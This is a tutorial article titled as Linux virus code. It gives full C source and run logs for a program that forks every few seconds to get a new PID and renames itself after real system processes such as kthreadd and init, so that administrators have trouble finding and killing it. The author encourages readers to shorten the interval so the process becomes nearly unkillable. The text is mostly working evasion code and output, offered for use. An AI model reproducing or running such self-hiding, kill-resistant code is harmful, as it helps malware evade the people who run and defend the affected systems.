Virus in Linux - C Code That Changes it's Process Name and its Process ID at Run Time

poornaMoksha's Avatar author of Virus in Linux - C Code That Changes it's Process Name and its Process ID at Run Time
This is an article on Virus in Linux - C Code That Changes it's Process Name and its Process ID at Run Time in C.
Rated 5.00 By 1 users
After writing my previous article Virus Code in Linux - C Code That Changes it's Process Name Run Time, I wondered if a process can change its name then why cannot it change its PID. And what if a process can change both its name and PID after lets say every 1 second? Well it will be a difficult task for a system administrator to kill that process. SO I decided to go ahead with the Idea.

Lets see what I did...

The Code



Here is the code for a program that changes its name and PID after every 5 seconds. I chose 5 seconds as its relatively easy for a user to kill this program once its run. If some one likes this code and wants to use it. He/she can reduce the sleep() time to 1 second and then run the code.

Code:
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 
#include<unistd.h> 
#include<sys/types.h> 
 
void change_pid() 
{ 
    pid_t pid; 
 
    // This function will replace the existing process image by 
    // a new process image. For all those who are new to fork() 
    // please refer to its man page and try out a few basic  
    // exercise to understand what this system call does. Just  
    // from the fact that this system call is made once but it  
    // returns twice, I must say that its not a trivial system  
    // call to understand. 
    pid = fork(); 
    if(0 == pid) 
    { 
        // pid ==0 means that this is child. Just print a log and 
        // do nothing here. Our motive was to create a new PID  
        // Which was only possible if we could create a new process 
        // image using fork. We did it successfully here. 
        printf("\n Child process created!!!!!\n"); 
    } 
    else 
    { 
        // This is the parent process, with old PID. We do not need 
        // it anymore so just exit from this. 
        printf("\n Created a new process, Exiting!!!!!\n"); 
        exit(0); 
    } 
} 
     
 
void change_name(char *argv[]) 
{ 
    char buff[1024]; // Buffer to read lines 
    char new_name[1028]; // Buffer to store new process name 
 
    char *ptr = NULL; 
    FILE *fp  = NULL; 
 
    a: memset(buff,'\0', sizeof(buff)); // Setting the memory with NULLs 
    memset(new_name,'\0', sizeof(new_name)); // Setting the memory with NULLs 
 
    // Introduce constant 3 bytes '123' in the begining  
    // of every process name that we change our process name to.  
    // So that we can at least easily track our process name 
    // when we check it using ps command. Note that 
    // this is only for practice purpose otherwise there 
    // is no need for a set of constant bytes like these. 
    new_name[0] = '1'; 
    new_name[1] = '2'; 
    new_name[2] = '3'; 
 
    // Run the command 'ps -aef > ps.txt' 
    // This command will store the result of 'ps -aef' in a text file 'ps.txt' 
    // The files would have entries like : 
       // UID        PID  PPID  C STIME TTY          TIME CMD 
       // root         1     0  0 20:49 ?        00:00:00 /sbin/init 
       // root         2     0  0 20:49 ?        00:00:00 [kthreadd] 
       // root         3     2  0 20:49 ?        00:00:00 [migration/0] 
       // root         4     2  0 20:49 ?        00:00:00 [ksoftirqd/0] 
 
    system("/bin/sh -c 'ps -aef > ps.txt'"); 
 
 
    // Open the file 'ps.txt' 
    fp = fopen("ps.txt", "r"); 
 
    if(NULL == fp) 
    { 
        printf("\n File open failed\n"); 
        //return -1; 
    } 
 
    // Get each line from file until the whole file is read or some error occurs 
    while(NULL != fgets(buff, sizeof(buff), fp)) 
    { 
        // Search for the character '[' in the line fetched from file. 
        // This is because most of the process names are enclosed in '[' brackets. 
        // For example : 
        // root         2     0  0 20:49 ?        00:00:00 [kthreadd] 
        ptr = strchr(buff, '['); 
 
        unsigned int len = strlen(buff); 
 
        if(NULL == ptr) 
        { 
            // Search for the character '/' in the line fetched from file. 
            // This is because many of the process names are start with '/'. 
            // For example : 
            // root         1     0  0 20:49 ?        00:00:00 /sbin/init 
            ptr = strchr(buff, '/'); 
        } 
        if(NULL != ptr) 
        { 
            // If any one of '[' or '/' is found than copy the complete process 
            // name in the buffer which already holds 123 as its first three bytes. 
            // Make sure that you do not overwrite the first three bytes of the buffer 
            // new_name which contains 123 as its first three bytes 
            strncat((new_name+3), ptr, ((buff + len-1) - ptr)); 
        } 
        else 
        { 
            // If the line fetched does not contain either of '[' or '/' 
            // Then use a default process name '/bin/bash' 
            ptr = "/bin/bash"; 
            strncpy((new_name+3), ptr, strlen(ptr)); 
        } 
 
        // Since by now we have the new_name buffer filled with 
        // new process name so copy this name to arg[0] so as to  
        // change our process name.   
        strncpy(argv[0], new_name, sizeof(new_name)); 
 
        printf("\n %s \n", new_name); 
 
        // Call this function to change the PID of the process by  
        // forking a new process. When the flow would return from  
        // this function, the process would be different and hence 
        // its PID would be different. 
        change_pid(); 
 
        //A delay of one second so that you can run the command 'ps -aef' 
        // and check the new name of our process and its new PID. Note  
        // that it is very now difficult to kill this process through  
        // ctrl+c as somehow its getting ignored (I will research more 
        // on this and will come back with analysis soon). I have kept  
        // the sleep interval to be 5 sec because the more I reduce it, 
        // the more difficult is for the user to kill it using : 
        //            kill -9 <PID> 
        // as PID keeps on changing within seconds.  
        sleep(5); 
         
        //Time to fetch a new line from ps.txt so just reset 
        // the buffer new_name with NULL bytes except the first 
        // three bytes which are '123'.  
        memset((new_name+3),'\0', sizeof(new_name)); 
    } 
 
    // Seems like either we are done reading all the lines 
    // from ps.txt or fgets() encountered some error. In either 
    // of the case, just close the file descriptor 
    fclose(fp); 
 
    // Since we do not want to stop even now, so lets re run the 
    // whole cycle again from running the command 'ps -aef > ps.txt' 
    // to reading each line using fgets() and changing the our process 
    // name accordingly 
    goto a; 
} 
 
 
int main(int argc, char* argv[]) 
{ 
    change_name(argv);     
    return 0; 
}
In this code, I created two functions :
  • change_name() -> for continuously changing the name
  • change_pid() -> for continuously changing the PID of the process
Now, once a name is changes successfully, a call to change_pid() is made so that the a new process with new pid which will execute the same code gets created while the old process is terminated.

Rest of the explanation I have provided as comments in the code itself.

Output



Now, the interesting part, lets run the code and see the output :

Code:
 ~/practice $ ./namepid  
 
 123/bin/bash  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
~/practice $  
 123/sbin/init  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[kthreadd]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[migration/0]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[ksoftirqd/0]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[watchdog/0]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[migration/1]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[ksoftirqd/1]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[watchdog/1]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[events/0]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[events/1]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!
When the code was executed, it started changing its name and its conveying that it is successfully changing its PID. Now I opened another terminal and checked the PID using the command ps -aef and running this command after every 5 seconds and I conformed that the PID was actually changing.

Now I tried to kill it using ctrl+c :

Code:
 123[cpuset]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[khelper]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[netns]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $ ^C 
~/practice $  
 123[async/mgr]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[pm]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[sync_supers]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[bdi-default]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[kintegrityd/0]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[kintegrityd/1]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!! 
 
 123[kblockd/0]  
 
 Created a new process, Exiting!!!!! 
 
 Child process created!!!!!
But as you can see from the output, it kept on executing. This is something which I need to investigate that why SIGINT is being ignored here. Anyways after multiple tries, I was able to kill the process using :

kill -9 <PID-of-process>

Why it took multiple tries was because by the time I found the PID and wrote the above command, the PID use to get changed. But any how I got success. Thats why I was thinking that If the sleep() time is reduced to '1' sec then it will become very very difficult to kill the process.

Conclusion



To Conclude, In this article I extended my previous article where a process could change its name continuously on run time to a process which can now change its PID along with its name at run time.

Stay tuned for more!!!!